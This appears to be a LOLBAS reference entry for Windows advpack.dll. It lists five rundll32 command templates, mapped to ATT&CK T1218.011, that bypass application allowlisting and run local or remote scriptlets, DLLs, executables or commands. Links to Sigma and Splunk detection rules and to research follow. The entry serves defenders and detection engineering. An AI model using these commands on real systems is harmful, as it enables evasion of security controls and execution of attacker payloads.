Advpack.dll

Commands

1. AWL BypassUser T1218.011

   Run local or remote script(let) code through INF file specification.

   rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,

   Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).

   os: Windows 10, Windows 11

   Execute: INF

2. AWL BypassUser T1218.011

   Run local or remote script(let) code through INF file specification.

   rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},,1,

   Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied).

   os: Windows 10, Windows 11

   Execute: INF

3. ExecuteUser T1218.011

   Load a DLL payload.

   rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}

   Launch a DLL payload by calling the RegisterOCX function.

   os: Windows 10, Windows 11

   Execute: DLL

4. ExecuteUser T1218.011

   Run an executable payload.

   rundll32.exe advpack.dll,RegisterOCX {PATH:.exe}

   Launch an executable by calling the RegisterOCX function.

   os: Windows 10, Windows 11

   Execute: EXE

5. ExecuteUser T1218.011

   Run an executable payload.

   rundll32 advpack.dll, RegisterOCX {CMD}

   Launch command line by calling the RegisterOCX function.

   os: Windows 10, Windows 11

   Execute: CMD

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml
• Splunk https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_rundll32_application_control_bypass___advpack.yml

Code samples

• https://github.com/LOLBAS-Project/LOLBAS-Project.github.io/blob/master/_lolbas/Libraries/Payload/Advpack.inf
• https://github.com/LOLBAS-Project/LOLBAS-Project.github.io/blob/master/_lolbas/Libraries/Payload/Advpack_calc.sct

Resources

• https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
• https://twitter.com/ItsReallyNick/status/967859147977850880
• https://twitter.com/bohops/status/974497123101179904
• https://twitter.com/moriarty_meng/status/977848311603380224